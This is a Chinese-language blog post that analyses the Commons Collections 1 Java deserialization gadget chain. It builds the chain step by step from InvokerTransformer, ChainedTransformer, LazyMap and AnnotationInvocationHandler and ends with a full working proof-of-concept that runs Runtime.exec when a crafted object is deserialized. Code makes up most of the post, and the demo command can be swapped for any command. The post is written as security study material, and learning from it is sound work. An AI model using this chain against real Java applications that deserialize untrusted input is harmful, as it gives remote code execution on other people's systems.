Java反序列化-CommonsCollections1利用链分析

前言

学习Java基础语法也有1年多的时间了,Java安全基础也学了有半年了,期间通过ctf赛题学习过fastjson的反序列化并了解了其利用链,但并未深入学习并记录笔记。

一直都说要赶紧审计java的反序列化利用链,但老是一推再推,让这篇文章开个头,步入学习java审计的开始!

Java反序列化基础

学习过PHP反序列化我们应该清楚,反序列化其实就是将对象转换成字符序列的一个过程,序列化则是一个反向的过程。在PHP中一个对象在进行反序列化时会执行自身的__wakeup方法,而在Java中有这样一对方法:writeObjectreadObject ,不难看出在Java对象进行序列化时会执行writeObject 方法,而在反序列化过程中执行readObject 方法。下面我们就来举例说明:

首先需要定义一个可序列化的类,在Java中,当一个类实现了Serializable 接口时该类才可以被序列化,然后我们通过覆写writeObjectreadObject 方法来验证刚才所说的内容。

编写User.java

import java.io.Serializable;

public class User implements Serializable {
    private void writeObject(java.io.ObjectOutputStream stream) throws Exception {
        stream.defaultWriteObject();
        System.out.println("成功进行了序列化!");
    }

    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        System.out.println("成功进行了反序列化!");
    }
}

编写测试类Demo.java

import java.io.*;

public class Demo {
    public static void main(String[] args) {
        // 定义User类
        User user = new User();
        // 序列化过程
        try {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            objectOutputStream.writeObject(user);
        } catch (IOException e) {
            e.printStackTrace();
        }
        // 反序列化过程
        try {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
            objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行结果如下图:

分析前的准备

漏洞组件:CommonsCollections 3.1 - 3.2.1

使用jdk版本为1.7,cc1在jdk8u71之后已经修复不可利用,在oracle中已经下载不到8u71之前的版本了,所以使用java7!

下载链接:https://www.oracle.com/cn/java/technologies/downloads/archive/

使用IDEA创建Maven项目,并在pom.xml中引入漏洞组件

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

利用链分析

在ysoserial中可以看到cc1的利用链如下:

Gadget chain:
    ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
          AnnotationInvocationHandler.invoke()
            LazyMap.get()
              ChainedTransformer.transform()
                ConstantTransformer.transform()
                InvokerTransformer.transform()
                  Method.invoke()
                    Class.getMethod()
                InvokerTransformer.transform()
                  Method.invoke()
                    Runtime.getRuntime()
                InvokerTransformer.transform()
                  Method.invoke()
                    Runtime.exec()

InvokerTransformer

通过利用链进行逆推,成因主要由InvokerTransformer.transform() 方法导致

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

该方法传入一个对象input,并通过反射执行了自定义方法,所有的参数都是控的!

我们想要通过transform方法进行命令执行,则需要构造Runtime.getRuntime().exec("calc")

import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
        //        Runtime.getRuntime().exec("calc");
    }
}

执行结果如下图:

当然也可以使用InvokerTransformer.transform()获取Runtime.getRuntime(),这里先来温习一遍如何通过反射进行Runtime 类命令执行

import java.lang.reflect.Method;

public class ReflectClass {
    public static void main(String[] args) throws Exception{
        // 获取Runtime.class
        Class clazz = Class.forName("java.lang.Runtime");
        // 获取Runtime的getRuntime方法
        Method getRuntime = clazz.getMethod(null);
        // Method getRuntime = clazz.getMethod("getRuntime"); //getRuntime为静态方法
        // 获取Runtime的exec方法
        Method exec = clazz.getMethod("exec", String.class);
        // 执行Runtime的getRuntime方法,并将返回的Runtime实例化对象执行exec方法
        exec.invoke(getRuntime.invoke(clazz), "calc");
    }
}

通过温习Runtime 类命令执行我们可以得到如下三个部分:

第一部分:通过传入Runtime执行getMethod获取getRuntime方法

InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Object transform = getMethod.transform(Runtime.class);

第二部分:通过invoke方法执行getRuntime方法,返回Runtime实例化对象

InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Object transform1 = invoke.transform(transform);

第三部分:然后通过Runtime实例化对象执行exec方法

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(transform1);

ConstantTransformer

查看ConstantTransformer.transform方法

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }

很简单,就是将传入的对象返回出来,所以就有了如下代码来替代Runtime.class

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object payload = constantTransformer.transform("payload");

ChainedTransformer

查看ChainedTransformer.transform方法

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

该类传入的时一个Transformer[]的类对象数组,在transform方法中则是递归执行数组中每一个对象的transform方法。

现在我们的POC如下:

public class Demo {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
        Object payload = constantTransformer.transform("payload");

        InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
        Object transform = getMethod.transform(payload);

        InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
        Object transform1 = invoke.transform(transform);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(transform1);
    }
}

不难看出一共有4个部分,后一个部分的transform参数总是上一部分的transform方法返回值,所以这里我们使用ChainedTransformer.transform方法就可以将其浓缩成如下代码:

public class Demo {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        chainedTransformer.transform("payload");
    }
}

利用链的前半部分算是解决了,但是没有办法通过反序列化来触发readObject方法来进行利用,所以我们还需要继续找一找。使用IDEA的Alt+F7查看transform方法还在哪里调用过:

尝试自行逆推

这里找的时候我们需要注意的当然就是参数可控,怎么样可以让执行transform方法的对象是可控的,所以总是需要看一下构造函数~

Collections

这里我们找到一个Collections.collect方法

该类构造函数为空,参数通过collect方法传入

    public CollectionUtils() {
    }

    public static Collection collect(Iterator inputIterator, final Transformer transformer, final Collection outputCollection) {
        if (inputIterator != null && transformer != null) {
            while (inputIterator.hasNext()) {
                Object item = inputIterator.next();
                Object value = transformer.transform(item);
                outputCollection.add(value);
            }
        }
        return outputCollection;
    }

然后编写代码尝试去利用

chainedTransformer.transform("payload");
List<String> payload = Collections.singletonList("payload");
CollectionUtils collectionUtils = new CollectionUtils();
collectionUtils.collect(payload.iterator(), chainedTransformer, payload);

成功利用,之后再看看collect方法在哪里调用过

可以看出这条路行不通~

TransformingComparator

TransformingComparator.compare 方法

查看构造方法:

    public TransformingComparator(Transformer transformer) {
        this(transformer, new ComparableComparator());
    }
    public TransformingComparator(Transformer transformer, Comparator decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

我们发现参数都是可控的,利用起来也比较简单

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
transformingComparator.compare("payload1", "payload2");

裂开了,这个查出来的太多了...

这里就先找俩个学习学习,这里不止这俩个,还有TransformedPredicate.evaluateTransformerClosure.execute等都可以实现transform方法的利用。

LazyMap

开始步入正题,LazyMap.get方法也可以实现transform的利用

查看可以用的构造方法和可利用的get方法:

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

这里的逻辑也比较简单,当传入的Map中不存在传入的key键就会触发transform方法

但是这里LazyMap的构造方法是私有的,这里需要利用它的decorate方法进行返回LazyMap对象,poc如下:

Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
decorate.get("payload");

到这里当我准备查看get方法的调用情况时,觉得自己还是太菜鸡了~,像get这种的调用情况简直是so muchso many用来修饰可数名词,so much用来修饰不可数名词)

AnnotationInvocationHandler

通过利用链可知,其中用到了AnnotationInvocationHandler

查看该类,其中包含readObject方法,并且在invoke方法中调用了get方法,通过学习《Java动态代理机制》我们可以知道,实现了InvocationHandler接口的类为代理类,当被代理类执行接口方法时则会执行代理类invoke方法。

查看构造方法:

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

invoke方法的78行调用了this.memberValues.get方法,通过构造方法可知该参数可控。

这里写一下poc:

// 获取AnnotationInvocationHandler的构造器
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
// 通过构造器来创建类对象实例
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
// 设置代理
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
// 触发代理类invoke方法
map.clear();
// map.entrySet() 也可以,都是Map的接口方法

这里创建类对象实例时,传入的第一个参数为Override.class,构造函数中类型为Class<? extends Annotation>Annotation是一个接口,所有的注解都继承了该接口

但是到这里尽管这样,我们也没有办法直接利用反序列化readObject来实现漏洞利用,现在来看一下readObject方法,在325行发现调用了this.memberValues.entrySet()

entrySet()也是Map的接口方法,如果这里的this.memberValues是刚刚定义的map,则可以通过readObject触发漏洞,所以我们再次创建一个AnnotationInvocationHandler类对象实例,并将map传入即可

InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, map);

然后在继续写入序列化和反序列化操作

  try {
      ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      outputStream.writeObject(invocationHandler1);
      outputStream.close();
      ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
      inputStream.readObject();
  } catch (Exception e) {
      e.printStackTrace();
  }

最终POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;


public class Demo {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
        Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
        InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, map);
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            outputStream.writeObject(invocationHandler1);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

posted @ 2023-01-17 16:21  seizer-zyx  阅读(153)  评论(1编辑  收藏  举报